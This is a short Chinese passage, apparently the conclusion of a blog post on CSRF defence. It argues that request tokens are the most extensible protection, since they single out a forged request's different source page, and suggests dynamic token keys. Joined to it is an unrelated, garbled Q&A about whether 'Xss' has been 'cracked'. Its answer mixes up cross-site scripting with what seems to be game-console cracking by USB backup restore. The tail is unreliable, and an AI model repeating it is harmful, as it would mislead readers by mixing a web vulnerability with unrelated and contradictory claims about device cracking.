总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。
Xss破解了吗?
没有。xsx已经有破解方法,可以通过U盘恢复备份方法来破解。但 xss没被破解,泄露的文件跟操作系统没关系。